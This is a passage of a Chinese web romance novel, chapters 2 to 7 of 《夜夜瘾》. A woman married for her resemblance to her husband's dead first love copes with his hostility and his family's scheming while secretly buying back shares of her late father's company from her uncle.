《夜夜瘾》
第二章 没有人能战胜一个**的白月光
邵老太太沉着脸说:“那个女人我不喜欢,是我让向晚去处理掉的。”
邵寂野嘲讽地笑了一下,转而去看向晚:“奶奶喜欢什么样的?邵太太这样的?”
邵寂野生气的时候,总是会阴不阴阳不阳的叫她一声“邵太太”。
向晚顿时如芒在背,头皮发麻。
邵老太太淡淡说道:“向晚天天回来陪我吃饭念佛,你呢?一年到头你回来看过我几次?!她这个孙媳妇都比你这个亲孙子要用心!”
邵寂野冷笑了一声:“您这么急找我回来,有事?”
“啪!”
邵老太太把筷子摔在碗口上:“怎么,宁姨请不动你,非要我亲自请你才肯回来?”
邵寂野嗤笑了一声:“那倒是不用,奶奶你什么都替我安排好了,我只需要按照您规划的路走就行,不用有自己的想法。”
他大力拉开椅子,在地面上发出刺耳的划拉声。
向晚听头皮发紧。
邵老太太气的脸色铁青,冷声问道:“向晚有什么不好?比你那个什么温小姐好了不知道多少倍!”
邵寂野挑了挑眉,随即故意把问题抛给向晚:“邵太太,你怎么说?”
向晚思忖了一下,然后说道:“温小姐工作能力有些欠缺,但是长得挺可爱的。”
工作能力欠缺——邵老太太开掉她是正确的。
长得可爱——邵寂野喜欢她也是有理由的。
邵寂野当即嗤笑了起来,一副混不吝的样子:“不知道的还以为邵太太是属泥鳅的,滑不溜手,两边不得罪。”
果然,邵寂野的话一出,邵老太太也瞪了她一眼。
似乎是对她的忠诚发出了质疑。
向晚赶紧埋头吃饭。
这三年,她也算是摸索出来了。
在邵家的生存法则,就是得两头逢源,取一个平衡。
邵老太太也不是真心喜欢她当孙媳妇的,她一开始看中的,就是手帕交家里的小孙女,谭璇。
谭家和邵家都算是H市的一方巨擘,家世相当,两个人年龄又匹配,邵寂野和谭璇几乎是所有人默认的一对。
但是邵寂野疯了一样地爱着白荷,九匹马都拉不回,根本不看谭璇一眼。
后来白荷**,他又像是行尸走肉一样,浑浑噩噩的没个人样。
邵老太太想了很多办法都无济于事,这才不得已找了向晚回来。
她的算盘打的很响。
一方面利用跟白荷长相相似的向晚让邵寂野重新振作,毕竟邵家的家业还得靠他来撑。
而另一方面,她只当向晚是临时过渡,借向晚的手打发掉其他女人,给谭璇铺路。
向晚也清楚,当自己没有利用价值的时候,就会被这对祖孙联手踢开。
她的下场,不会比温甜甜好多少。
但是她远比温甜甜清醒的多。
温甜甜一看就是沉醉在霸道总裁独宠我一人的爱情幻想里无法自拔,张口闭口都是什么狗屁爱情。
现在估计还期待着邵寂野能突然冲进警局救她,为了她背叛整个世界,高调向全世界宣告她们的旷世绝恋。
可向晚不是。
她一开始就知道自己只是个工具人,她要做的,就是在被弃若敝履之前,尽可能的利用邵太太的身份,做自己的事。
男人的冲动,一辈子只有那一次。
邵寂野的冲动已经给了白荷,这辈子都不会再有了。
况且白荷还**。
没有人能战胜一个**的白月光。
白月光本人死而复活也不行。
邵老太太说:“阿野,向晚怎么说也是你的妻子,你在公司里胡闹,让她怎么在员工面前做人?”
邵寂野冷笑了一下:“奶奶你放心,您精心挑选的孙媳妇,可比你想的精明多了。”
“哦?”邵老太太看向了向晚。
邵寂野继续说:“今天邵太太做主,要给温甜甜五十万分手费。可我记得,奶奶您给她的可是一百万的额度啊,邵太太这是当了中间商,净赚五十万差价?”
邵老太太的目光陡然间犀利起来。
向晚赶紧解释:“是这样的奶奶,这位温小姐前些天开车的时候不小心剐蹭了一个合作方刚提的新车,我怕影响后续合作,就先行赔付了五十万。对方毕竟是合作多年的老朋友,我想着还是要把事情做得圆融一些,至少是个态度。”
邵老太太一听,微微点了点头:“你做的对,我们邵氏虽然是甲方,但格局还是要有的。”
向晚微微松了一口气。
可邵寂野似乎却没打算这么轻松就让她过关,“那剩下的五十万呢?温甜甜今天可一分钱都没拿。”
向晚立刻说:“我今天忙忘了,明天一早我就去财务部,把钱放回公司账户。”
“行了,”邵老太太拿起了筷子,沉声说道:“都吃饭吧。”
邵寂野没动筷子,握紧手中的红酒杯摇了摇,随后微微一斜。
酒红色的液体顷刻间又泼在了她的身上。
“哎呀,不好意思,弄脏了邵太太的衣服。”
白天被温甜甜泼了一身咖啡,向晚来老宅的时候是特意换了一件衣服的,这下可好,一天废了两件衣服。
向晚抽出纸巾大概擦了一下,但无济于事。
邵老太太冷声说道:“阿野,你过分了。”
“一时手抖而已,奶
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奶您连这个都要管?”
“我看你回来的时候还好好的,怎么偏偏这个时候手抖?”
“那我可保证不了这双手什么时候发抖。”
向晚眼看着祖孙两个又要吵起来,连忙说道:“没事的奶奶,天气热,泼了水正好凉快。”
为了压住邵老太太的火气,她给邵太太碗里夹了菜:“您最爱吃的青笋,您尝尝?”
邵老太太悠悠地叹了口气:“你要是把这份心用在阿野身上,他也不至于要在外面找那些不入流的女人。”
向晚不好说什么,只能低头吃菜。
这是她努力就行的么?
最近这两年来,他一概冷若冰霜,说话也夹枪带棒,压根不给她好脸色。
而且向晚也不太希望邵寂野对她太好。
白荷的死因,她其实一直都有所怀疑。
只是没有确凿的证据,她也不能肯定是邵老太太下的手。
不过她心里很明白,邵老太太心中的孙媳妇一直是谭璇,邵寂野对哪个女人好,哪个女人就一定会倒霉。
现在邵寂野对她不冷不热的,偶尔还刺她两句,她才是最安全的。
她要的只是邵太太这个名头,方便做她自己的事而已,她可不想把自己的命也搭进去。
除此之外,还有一件事让向晚觉得很头疼。
邵寂野在那方面需求太大,刚结婚那阵子,她实实在在体会了一把什么叫“下不了床”。
不分白天黑夜,不管卧室还是厨房,邵寂野几乎是随时随地都有可能拉着她办事。
她的衣服刚穿上还没暖热就又被撕坏,家里的床单放了满满一柜子都不够换的。
她一度觉得,自己会被邵寂野弄死在床上。
向晚始终不太明白,那件事到底有什么乐趣?
除了疼痛和重复无聊的体力运动之外,毫无意义。
要不是邵老太太强行规定,每个周末邵寂野都必须得回家跟她过夜,向晚巴不得他永远不回家。
大家相安无事,做一对名义上的夫妻就好。
“邵太太想什么呢?脸这么红?”
邵寂野用筷子在她的碗口玩世不恭地敲了两下:“这五十万没能落到自己的腰包里,气成这样?”
向晚摇了摇头:“我有点热而已。”
“那我再给你来一杯水,降降温?”
说着,他又举起了手边的高脚杯,作势要往她身上倒。
向晚没躲,反正这件衣服已经要不成了,他女人今天被警方带走了,他心里气不顺,总是要找人撒撒气的。
却听邵寂野冷笑了一声:“甜甜跟我说的时候我还不信,原来邵太太是真的是很喜欢被泼。”
第三章 入夜他就上瘾
一顿饭,终究是吃的不欢而散。
离开老宅的时候,邵寂野开车走了。
向晚是自己坐地铁回浅枫苑的。
进了门,家里的女佣锦绣就跑了过来,轻声问道:“太太,先生不是周末才会过来么,怎么周一晚上也来了?”
周末回家过夜,是邵老太太给邵寂野下的死命令。
其实目的也很明确,就是让她这个邵太太在外面多少还有点存在感。
这几年邵寂野对她越来越冷淡,大家都看在眼里。
而且现在邵寂野还没有收心,外面依旧女人不断,不能静下心来跟谭璇好好过日子。
邵老太太心疼谭璇,得罪人的活儿全都丢给向晚干,用完了就扔掉,好给谭璇铺平一条康庄大道,嫁进来就是夫妻恩爱长辈和睦,后半辈子只管享福。
邵寂野不怎么给她家用,锦绣是她自己花钱雇的,算是她的自己人。
对于白荷的事情,锦绣多少也知道一些。
她压低声音问向晚:“太太,你说会不会白荷小姐去世的那场车祸,就是邵老太太找人做的?”
向晚立刻低斥道:“这种话是你该说的吗?”
锦绣连忙低下头去。
白荷去世的太突然了。
而且自从白荷去世之后,祖孙两个的关系就肉眼可见的变得僵硬和疏离起来。
她不想往这个方向想都不行。
“邵太太。”
向晚被头顶上砸下来的声音吓了一大跳。
邵寂野已经洗了澡,只在腰间围着一条浴巾,露出精壮的腰腹和修长的腿。
腹部的人鱼线隐隐约约,水珠还在顺着其中的沟壑往下滑,终究隐入那个不足为外人道的地方。
他注意到向晚的视线,调笑道:“邵太太今晚又打算找谁来给你打替班?”
向晚被他说的一阵心惊。
前天,也就是周六的时候,她装作毫不知情似的,把公司里他夸过一句的前台小妹妹带了回来。
小妹妹也挺懂事,自带了性感睡衣,还提前做了全套身体保养。
向晚早早就回了客房,给他们腾地方,准备踏踏实实睡一个安稳觉。
结果小妹妹还没进去两分钟,就被邵寂野轰了出来。
小妹妹抱着衣服泫然欲泣,委屈极了。
可邵寂野怒极反笑,一把扯过向晚,狠厉道:“邵太太是怡红院的老鸨吗?这种生意都做起来了?”
向晚连辩驳的机会都没有,直接被他扛在肩上进了卧室,狠狠扔上了床。
邵寂野似乎是真的发了狠,周六和周天连着两个晚上都放开了手脚使劲折腾她,向晚感觉自己这身小骨架都快被他拆了。
今天早上临出门前,他看着凌乱的大床,和有气无力软成一摊泥的向晚,扔下一句:“邵太太,想得到什么,就得付出相应的代价。别总想着找人替你,我也不是饥不择食,什么脏东西都下得了嘴。”
一想起前两个晚上的遭遇,再看向邵寂野的时候,向晚就有些不自觉地发抖。
她清了清嗓子,干笑了一下:“那个,你还没睡啊?”
邵寂野挑眉:“这不是等你么。”
“可是……今天是周一……”
“是啊,今天是周一啊,”邵寂野冷声说道:“可是邵太太把温甜甜弄走了,今晚就得自己来填这个窟窿了。”
向晚顿时浑身一抖。
“还是说……”邵寂野轻佻地用下巴点了点锦绣:“邵太太今晚想把锦绣也贡献出来?”
锦绣一僵,赶忙溜了。
几秒钟就不见人影。
思索间,她身子一轻。
再反应过来的时候,已经被邵寂野打横抱了起来,缓缓往楼上走。
向晚浑身不自然地僵硬,小声问道:“今晚还要做吗?”
邵寂野抱着她进了卧室,抬脚踹上了门。
不过这一次,他没有急吼吼地把她往床上扔,而是抱着她在床前站了一会儿。
向晚有些不明所以,但也不敢动,只能躺在他怀里乖乖等着。
“你很讨厌跟我做吗?”
向晚立刻摇头:“没、没有。”
邵寂野嗤笑,但明显不信,抱着她一起倒向了大床里,又被一起弹了起来。
来回晃荡了几下,他立刻翻身压下,含着她的唇说:“谁让你长成这样,认命吧。”
暴风骤雨再一次袭来。
向晚在颠簸
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中叹了口气。
她忽然想起嬛嬛的那句经典台词——长得跟纯元皇后如此相似,到底是我的福,还是我的孽。
她因为跟白荷相似而当上了邵太太,也因为跟白荷相似而不得不承受这些折腾。
算了,就当是加班。
……
连续被搓扁揉圆了三天,向晚彻底歇了菜。
闹钟不知道是她忘记设置了,还是她睡得太死连闹钟都没听到,醒来的时候,已经中午十一点多了。
不过她还是邵氏名义上的人事部经理,不用跟谁请假,自己给自己批个假就行。
她在床上躺了一会儿,才挣扎着下了地。
锦绣已经跟她配合很默契了,见她房间里有了动静,便在门外轻声说道:“太太,洗澡水我已经给您放好了。”
“好,谢谢。”
向晚不习惯用主卧的浴室。
准确的来说,她不太习惯用别人用过的浴缸。
尽管她和邵寂野做了无数次亲密的事,她还是有些洁癖。
锦绣也知道,每次都会给她放好客房浴室的水。
下床的时候,她差点被床下的布料绊了一跤。
低头一看,原来是昨晚上被邵寂野撕成了布条的白衬衫,上面还有他留下的红酒渍,斑斑驳驳。
锦绣扶了她一把,“太太,小心。”
“嗯,”向晚说:“把窗户打开吧,散散味。”
“好。”
屋子里的味道,已经暧昧到向晚自己都觉得不好意思的地步。
锦绣机灵,飞快地去把窗户打开了。
至于凌乱的大床,她目不斜视,看都没看一眼。
向晚去客房的浴缸里泡了一会儿,才觉得浑身都舒服了一些。
锦绣捧着她的干净衣服进来:“太太,衣服我帮你放在外面了。”
“好。”
“还有温开水和避孕药,我也给您放在外面的茶几上了,您洗完澡记得吃。”
“嗯,知道了。”
锦绣看着水波下她一身青青紫紫的印子,频频蹙眉,欲言又止。
向晚看的好笑,问道:“你想说什么,直接说吧。”
锦绣:“先生是不是那方面有点变态啊?”
第四章 她迟早要走
向晚也不知道该怎么说,索性坦白说。
“我也没跟别人睡过,不知道他这算不算变态。”
锦绣蹲在浴缸旁边,有些心疼她:“太太,我不知道你是怎么打算的,但是我觉得这样下去不是个办法。”
向晚抬起头来,“说说看。”
锦绣说:“我觉得吧,要么您就别吃避孕药了,如果怀上孩子,那就是邵家的第一个重孙,以后不管是哪家小姐上位,您靠着这个孩子总是能分一大笔家产的,而且怀孕之后,先生念着您是个孕妇,也不能再下这么重的手了吧?”
向晚笑了笑,闭上眼睛:“继续说。”
“要么您就赶紧跑吧,先生心里有白月光,后面还有老太太准备好的正宫娘娘等着呢,而且老太太摆明了把您当枪使,自古以来枪打出头鸟,正宫娘娘上位了第一个收拾的就是您,您还是早溜为上。”
向晚彻底笑开:“你还研究上历史了。”
锦绣扁了扁嘴:“我就是替您不值,您画画得那么好,迟早会声名鹊起,到时候你也不会缺钱的,何苦把自己困在这里?”
向晚唇角的笑意淡了些:“我不会把自己困在这里的,我迟早会走,但现在还不是时候。”
“太太,您想好脱身之法了?”
向晚说:“你先把避孕药给我拿来吧,早吃早安心,免得横生枝节。”
……
下午的时候,向晚回了一趟娘家。
一进门,就听到哗啦哗啦的打牌声。
整栋别墅一股难闻的味道,像是食物腐烂和脚臭味烟味的混合味道。
空中还飞舞着好多小飞虫。
向晚不禁皱着眉捂住了口鼻。
婶婶李素梅看了她一眼,立马从牌桌上站了起来,有些谄媚的奉承道:“晚晚回来了?吃过午饭了吗?婶婶去给你做?”
向晚直接说:“不了,我怕被毒死。”
李素梅神色讪讪的:“你这话说的,大家都是亲戚,怎么会呢。”
向晚冷笑:“你跟我二叔又不是没试过。”
李素梅有些尴尬:“那都是以前的事了,还提它做什么?而且你现在可是邵太太,未来邵氏的当家主母,家里的生意还得靠你帮扶呢。”
向晚懒得跟她虚与委蛇,索性问道:“我二叔呢?”
“上班去了啊,”李素梅说:“说是有个重要的生意要谈。对了,你今天怎么没去上班啊?”
向晚不想跟她多说话,只敷衍了一句:“回来看看我妈。”
她抬脚往二楼走,身后,李素梅立马打发了几个牌友,急匆匆跟了上来:“晚晚你放心,你妈妈我请了专人照顾呢,挺好的。”
向晚停下脚步,回过头来瞪了她一眼:“挺好的?你确定?”
李素梅立刻心虚地缩了缩脖子,不敢再说话了。
向晚去了妈妈的房间,刚一进门,就闻到了一股难闻的味道。
陈旧木头腐朽的味道,还有尿骚味混在一起,令人作呕。
屋子里到处都堆满了杂物,甚至连妈妈的床头都放着一个破旧的老式柜子,歪歪扭扭地斜着,摇摇欲坠。
向晚当即就怒了:“这就是你说的好好照顾我妈!你们把她的房间当做杂物间了吗?什么垃圾都往这边扔!?我给你们的钱都喂狗了吗?”
李素梅脸色惨白:“平时都好好照顾的,也就是今天你大表哥刚换了一套意大利家具,这些旧家具没地方放,才临时放了一下。”
向晚用手摸了一下破旧柜子上的一层浮土,明显是已经放了有一阵子了。
她把手指上的灰放在李素梅面前,质问道:“这叫临时?”
李素梅尴尬的搓着手,不知道该怎么说。
“我当是谁,这么大的架子,原来是邵太太啊,”二叔向天健不知什么时候回来了,指着向晚的鼻子就骂:“她是你婶婶,你一个小辈敢这么跟长辈说话?”
向晚冷笑了一声:“二叔,您跟爷爷奶奶说话的态度,可比我恶劣多了。”
“你……”
向天健扬手就要打,向晚也没躲,梗着脖子直视着他。
还是
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李素梅赶紧拉住了向天健的手:“你可千万别动手,现在家里的生意全都靠跟邵氏的合作,要是她回去跟邵总吹吹枕头风……”
“枕头风?”向天健嗤笑了一声:“邵总身边的女人都没断过,今天早上我还看到邵总跟谭家的小孙女有说有笑的,她这个邵太太怕是早就有名无实了!”
李素梅愣了一下:“谭家的小孙女?就是那个从国外留学回来的小提琴家?”
向天健“嗯”了一声:“谭家什么家世,她向晚什么家世?不过是仗着邵老太太宠爱她,硬把她塞给了邵总,邵总心里指不定骂晦气呢!人家跟谭家小孙女才是门当户对。”
向晚在邵家的处境,她一直瞒的很好。
向天健夫妇只当是邵老太太做主让她嫁给了邵寂野。
可他们并不知道,邵老太太宠她也是有目的的,这位谭家小孙女才真正是她心尖尖上的肉。
“二叔,我劝你还是盼着我点好,如果我倒了,你可就没钱养着你外面那个小琵琶精了。”
这话一出,李素梅顿时变了脸:“什么小琵琶精?”
向晚噙着笑意,“婶婶还不知道呢?我还以为你们夫妻人到中年没了激情,已经各玩各的了。不过二叔养着一个小琵琶精,婶婶你不也养着一个篮球男大么,你也不亏。”
这次,变成向天健暴跳如雷:“男大学生?你多大年纪了,你还找了个小白脸?你要不要脸!”
李素梅被骂了,也立刻回嘴:“你还说我呢?你那个小琵琶精是怎么回事?你拿了多少钱给她?你让她给我吐出来,否则我就去**告她去!”
“疯婆子,你放手!”
“我不放!你给我说清楚……”
向晚嫌恶地把他们都推了出去,然后砰地一声关上了门。
屋子里终于清净了。
那股难闻的味道也更重了。
母亲脸色苍白,艰难地朝她伸出手,“晚晚,你来了……”
向晚飞快的扑了过去,握住母亲干枯的手:“妈,我来晚了。”
第五章 邵太太怕是当不成了
母亲温柔的帮她擦掉脸上的泪,安慰道:“妈没事的。你婶婶也只是把杂物堆放一下,没敢对我怎么样。”
向晚顿时眼圈就红了。
“妈,我接您出去住吧,我立刻找人来接您!我这就打电话……”
母亲摇了摇头:“我不能走。天隆集团是你爸爸一辈子的心血,我得替你们姐妹俩守着,不能被别人夺了去。你放心,现在你是邵太太了,他们就算看在你的身份,也不敢太过分的。”
向晚把脸埋在妈妈的怀里,可妈妈的衣服似乎也有一股怪味道。
向晚抬起头来:“妈,我买给你的新衣服呢?”
母亲欲言又止。
“又被二婶抢走了是不是?”向晚腾的一下站了起来:“我这就去找她算账!”
母亲拉住她:“这个不急,你先跟妈说说,你跟邵寂野怎么样?我刚刚听你二叔说,邵寂野在外面有其他女人了?是真的吗?”
向晚胡乱抹了一把脸上的泪水:“没有,二叔不知道情况,乱说的。”
“可是他说,那个什么谭家的小孙女……”
向晚说:“邵寂野的奶奶跟谭家奶奶是手帕交,谭小姐从小也几乎是在邵老太太的眼皮子底下长大的,两家关系好,走动也多,邵寂野和谭小姐也认识,总不能说了两句话就胡乱下定论说他们两个不清白吧?”
母亲还是不太相信:“真的吗?这么说的话,邵寂野跟这个谭小姐应该是青梅竹马啊,他们不会真的有什么男女之情吧?”
向晚移开视线,躲避母亲的目光:“都从小一起长大的,要在一起早就在一起了,还能等到现在?而且邵寂野心里有人……”
言多必失,她赶紧停住,差点说漏嘴。
“邵寂野心里有我。”
她说:“妈你就别担心了,邵寂野对我挺好的。”
母亲最终还是点了点头:“那就好,你跟小邵好好过日子,别总是拿婆家的钱贴补娘家,会被人说闲话的。”
向晚鼻尖发酸。
她去邵家,就是为了钱去的。
三年前,爸爸的飞机失事,连个遗骨都没留下。
那时候她和妹妹向晴都在国外念书,她学油画,妹妹学钢琴。
家里出了变故之后,她立马回了国。
可二叔已经先一步掌控了天隆集团,换掉了爸爸所有的高管,成为了天隆集团实际的掌权人,还制造了一起车祸,试图让她们母女彻底消失。
是妈妈在千钧一发的时候扑过来护住了她,而她自己伤的很重,进了抢救室。
二叔拒绝支付妈妈的抢救费用,向晚急得到处去找亲戚朋友借钱。
可是爸爸**,公司又被二叔把持着,没有人会把钱借给一对根本没有偿还能力的母女,向晚跪也跪了,头也磕了,依旧到处碰壁。
最后,是邵老太太找到了她,替她付了这笔钱。
母亲问道:“晚晚,晴晴最近跟你联系了吗?”
向晚点了点头:“妹妹在国外挺好的,说是下个月要去奥地利演出呢。妈你放心,我月底就给她汇钱,不会让妹妹缺钱用的。”
母亲眼中却瞬间满含热泪:“只是苦了我的晚晚,你本来也可以无忧无虑的生活……”
家里的事情,向晚瞒着妹妹没说。
妹妹性子软,回来了也改变不了公司和财产都已经被二叔抢走了的事实。
她们姐妹二人,她一个人深陷泥潭就足够了。
……
晚上吃饭的时候,爷爷奶奶也在。
二叔和二婶还在怄气,互不理睬。
向晚刚坐下,爷爷就摔了筷子:“谁让你坐的?”
胖成球200斤的大表哥嗤嗤的笑,肚子上的肉一抖一抖的,眼睛都快挤没了:“向晚,我还没坐呢,我可是咱们向家的长孙。”
爷爷奶奶倒是很得意,一派大家长作风,开始动筷夹菜吃。
爷爷还夹了一块肉给大表哥:“大孙子,吃肉!”
肉还没到大表哥碗里,向晚抬手把整个餐桌全都掀了。
轰隆——
杯碗盘碟碎了一地,汤汤水水浇了所有人一头一脸。
二叔用手拨掉身上的菜叶,破口大骂道:“向晚,你疯了是不是!你想干什么?!”
向晚厉声喝道:“惹我不痛快,那就大家都别吃。”
向天健的巴掌又高高地扬了起来:“你真以为我不敢打你?!”
向晚冷笑了一声:“二叔,现在家里公司可都要靠邵家赚钱的,邵家想要多少供货商找不到,非要从天隆买,你真的以为这些钱真的是你凭本事赚的吗?!如果不是我,你还不知道被哪个债主追的脱裤子跑出二里地呢!”
二叔从前就黄赌毒俱全,欠了债只敢躲在家里闭门不出。
最后都是爷爷奶奶出面,让爸爸帮他把债务还上。
爸爸想让二叔长长记性,一开始是拒绝的,可奶奶扑通一声跪在爸爸面前又哭又喊,爷爷闹着要喝药。
爸爸没办法,
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只能一次又一次地给二叔收拾烂摊子。
爸爸去世后,天隆集团在二叔三天打鱼两天晒网的经营下,毫无意外的亏损了。
但因为向家出了个邵太太,很多商场的人都想借此跟邵家搭上关系,所以宁可亏钱,也愿意跟二叔做生意。
天隆集团这才苟延残喘到了今天。
二叔的脸色一阵红一阵白:“你别以为当个邵太太就了不起了!邵寂野迟早踹了你!”
“邵寂野要是踹了我,你也别想好过!”
“你……”
正说着,原本开着当背景音的电视里,插播了一条新闻。
女主播用温柔地语调说道:“今早有媒体拍到邵氏集团的邵总跟某神秘女子一同出入高档酒店,下面请看详细报道——”
向晚没太在意。
邵寂野身边从来没少过女人。
走了个温甜甜还会来一个温酸酸,她早已经**以为常。
只是电视里,女主播的声音继续传来:“据悉,这位神秘女子是谭家的小孙女谭璇小姐。几年前两人一度传闻要喜结连理,好事将近。不知二人此次是否是重修旧好,破镜重圆……”
……谭璇?!
向晚猛地抬头看向电视屏幕,只见一男一女从一个高档酒店里走了出来。
男的高大英俊,穿着一身黑色的休闲装,向晚一眼就认了出来——是邵寂野。
出了酒店大门,他全程护着身后穿着白色裙子的女孩。
到了停车场时,他先拉开了副驾驶的车门,把手挡在车顶,护着女孩上了车,又探身进去帮她系好了安全带。
女孩笑着拉了拉他的手,似乎在撒娇。
邵寂野宠溺地揉了揉她的头发,随后才小跑着回到了驾驶座,开车离开。
向晚自认经手过不少邵寂野的女伴,他一贯都是高高在上的,只有女人讨好他的份儿。
她从来没见过邵寂野对任何一个女伴这么体贴细心过。
二叔捂着肚子大笑:“有人的邵太太要当不成喽!看你以后还敢不敢在我家这么横!”
这一次,向晚没有反驳。
如果是其他任何女人,哪怕是另一个比她长得更像白荷的女孩,向晚都有把握处理。
但是,这个女人是谭璇。
如果邵寂野接受了谭璇,那她对邵老太太来说就再也没有任何利用价值了。
那妈妈的医药费,妹妹的学费,爸爸的公司……
向晚紧紧攥着双手,汗水湿透掌心。
第六章 我祝他前程似锦
向晚饭都没吃完,就出去见了一个人。
两人约在市郊一处很偏僻的咖啡厅里,向晚先到的,等待的时候又重新把刚刚那个新闻看了好几遍。
那人来的时候,戴着墨镜,包的很严实。
坐定之后,才缓缓开了口:“大小姐,这几年你给我的钱,我都用来买了天隆集团的股份了,前两天你给我的那五十万,我又买了3%的股份,这个是收购协议。”
对方把一份文件推到了她面前。
向晚点了点头,把文件收进了自己的包里。
“谢谢秦叔,这些年辛苦你了。”
那人苦笑了一下:“老向总去的突然,公司风云突变,我们之前都是跟着老向总一起打拼的,怎么能看着他的心血落入其他人的手里?”
向晚叹息了一声:“秦叔,是我们向家对不起你。”
秦强摘掉了墨镜和帽子,露出里面已经瞎了一只的眼睛。
他冷笑了一声:“向天健做事太狠,为了把我们这些老人逼走简直不择手段。除了我,还有好几个以前的兄弟都被逼的家破人亡。大小姐,我们兄弟都是跟着你爸爸一起搞工程出身,实打实做事可以,玩心机玩狠辣,都不是向天健的对手。现在只有指望你了……”
向晚点了点头:“我明白。”
她问道:“我们现在手里一共有多少股份了?”
“算上这次新购入的,一共只有17%,都是从散户手里买的。”
三年了,才一共弄到了17%。
向晚低下头,有些着急。
二叔向天健手里握着48%的股份,光靠从邵家弄钱的法子还是太慢了。
秦强咬着牙恨恨道:“向天健当初真是下了死手啊!用家人的生命和前途威胁我们几个签了股权转让书,唉!都怪老向总做人太厚道,给我们这些老员工每个人都分了12%的原始干股,不然向天健也不能一下子弄到这么多股份!”
向晚整理了一下情绪,打起精神来:“你们都是公司的骨干,为公司出力,分股份是应该的。当务之急,还是得尽可能多的收购更多股份,才有可能把公司拿回来。”
“可是持有股份的散户太多,一个个去沟通太慢了。说不定我们还没买回足够的股份,向天健就已经把公司给玩垮了!”
“所以,得尽快。”向晚说:“既然散户太慢,那我们就想办法让向天健自己卖股份。”
秦叔愣了一下:“他会肯吗?他好不容易才爬到现在这个位置……”
向晚哼笑了一下:“秦叔,您觉得,天隆集团现在还能蒸蒸日上的原因是什么?”
秦叔蹙了蹙眉:“你,因为你当了邵太太,那些人才上赶着巴结,想跟天隆集团做生意。”
向晚说:“是啊,如果我这个‘邵太太’的招牌不管用了呢?”
秦叔脸色一白:“大小姐,您的意思是……可是如果失去了邵家这个金字招牌,就凭向天健的作风和能力,天隆集团会迅速垮掉,你爸爸的心血很快就要付诸东流了!”
向晚站起身来,嘱咐道:“秦叔,后面两周,天隆集团的股价应该会断崖式下跌,你抓紧时间低价买入,能买多少买多少,我们抄底。钱我会尽快打给你。”
“好,我知道了,放心吧大小姐。”
离别的时候,秦叔追了出来,把一个东西塞进了向晚手里:“大小姐,这是以枫那小子让我给你的,你……你要是不想要了,就扔了吧。”
向晚握着手里的毛线手套,心里一痛。
这双手套,是她大二的时候亲手给秦以枫勾的,在他二十岁生日那天送给了他。
转眼八年过去,她以为秦以枫早就扔了,没想到他还留到了现在。
“秦叔,他……现在好吗?”
秦叔脸色微微发白:“你刚刚嫁给邵总的时候,狠狠消沉过一阵。他一个当医生的,抽烟喝酒全学会了。现在已经好了许多,前阵子听他说,医院准备派他去德国。”
向晚整个人都木木的:“去几年啊?”
“可能……以后就在那边了,不回来了。”
“哦,”向晚僵硬地扯了扯唇角:“
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不回来也好,德国的医学挺发达的,留在那边应该会有好前途的。”
秦叔眼圈微微泛红:“晚晚,我曾经以为,你会是我的儿媳……”
秦以枫以前总喜欢叫她晚晚。
后来,秦叔和秦家婶婶也跟着一起这么叫。
那时候啊,爸爸也还在。
过年的时候,都是两家一起过的。
爸爸会笑眯眯地跟秦叔说:“先说好啊,以后有了孙子我来带,你可不能跟我抢。”
秦叔哈哈大笑:“让以枫和晚晚生两个不就好了?我们一家带一个!”
爸爸故意问秦以枫,存着点试探的意味:“以枫,你觉得呢?”
秦以枫只是含笑搂着她,轻声说道:“向伯伯,这个我可做不了主,您得问您闺女啊。”
爸爸哈哈大笑。
他得到了他满意的答案。
生几个都不要紧,甚至生不生都不要紧。
做父亲的,只是想要男孩子一个态度,看看他对自己闺女好不好,是不是真心。
向晚吸了吸鼻子。
爸爸的去世,把一切都改变了。
那些美好的未来,也跟那架失事的飞机一样,支离破碎,烟消云散。
为了保住爸爸的公司,她只能嫁给邵寂野。
拥有了邵太太光环的同时,她也失去了她的爱人。
秦以枫把这双手套还给她,就是放下了意思。
从今往后,她做她的邵太太,他也终于要奔赴另外的人生了。
“秦叔,”向晚释然地笑了笑:“帮我祝他前程似锦。”
秦叔唏嘘着点了点头:“我会转告他的。”
回到家的时候,天已经黑透了。
刚一进门,向晚正在玄关换鞋,锦绣就急匆匆跑了过来,像是热锅上的蚂蚁:“太太,不好了!”
向晚安抚了她:“怎么了?慢慢说。”
“邵先生带了个女人回来!”
女人?
谭璇吗?
锦绣见她还不紧不慢的样子,更着急了:“两个人一回来就直接进主卧了,好几个小时都没出来!”
第七章 成年人,总要现实一点
向晚看过新闻,大概能猜到锦绣口中说的那个女人就是谭璇。
之前邵寂野身边也有莺莺燕燕,但基本都在外面,很少带回家。
甚至连他本人,都是到了周末邵老太太强制要求的这两天才会回来。
谭璇倒是让他破了例。
看来这一次,邵寂野是准备来真的?
锦绣在她耳边轻轻说:“太太,我一直听着呢,里面没有闹出‘那种’动静来,应该没发生什么。”
向晚的脑子轰地一声。
“……以前他都闹出很大动静吗?你在外面都能听到?”
锦绣到底是个小姑娘,脸微微红了红,她吐了吐舌头说道:“您自己就是当事人,先生那动静有多大,您自己心里应该有数啊。”
向晚瞬间无语。
这种事真的是她的噩梦,没有之一。
不知道是他尺寸的原因,还是她的身体有毛病,传说中的湿润是一点没有,干巴巴的刮擦每次都疼得她直哭。
一开始邵寂野会耐心的哄,温柔地诱,他仿佛真的是把她当成了心尖尖上的人,明明自己忍得脸红脖子粗,脖子上的青筋突突地跳,还是会停下来先伺候她。
她没什么经验,跟秦以枫也顶多是牵牵手,最多只有拥抱和亲吻脸颊,所以每次过夫妻生活,她僵硬地像是根木头桩子。
向晚一度非常懊恼,还去找了一些岛国动作片,想学习一下手法和技巧。
但是每次都能被丑男和美女的组合还有各种夸张的声音表情弄的恶心反胃,最后不得不快速关掉,然后看一会儿喜羊羊勉强恢复精神力。
那时候刚结婚,她很担心会不会自己太扫兴,惹邵寂野不快,丢掉眼前唯一的救命稻草。
大概是托了这张脸的福,邵寂野并没有不快,反而对她格外怜惜。
向晚自己也没想到,白天还孤傲冷厉的邵寂野,到了床上会这么好说话,还会放低姿态主动服务她,等她完全适应了,这才放开手脚满足自己。
每每结束后,向晚看着浴室镜子里浑身遍布吻痕的自己,都会由衷感谢白荷。
如果不是因为她,自己的命运还不知道会是怎样的颠沛流离。
“太太,怎么办啊?”锦绣看起来有些气愤:“要不要给老太太打电话?让她老人家管管?”
向晚哼笑了一声:“锦绣,你还记得你之前跟我说的话吗?正宫娘娘上位之后,第一个要除掉的就是我。”
锦绣懵懵地点了点头:“记得啊,这跟今天的事有什么关系?”
向晚指了指主卧的方向:“里面那个,就是正宫娘娘。”
锦绣倒吸了一口凉气,捂住嘴巴瞪大了眼睛。
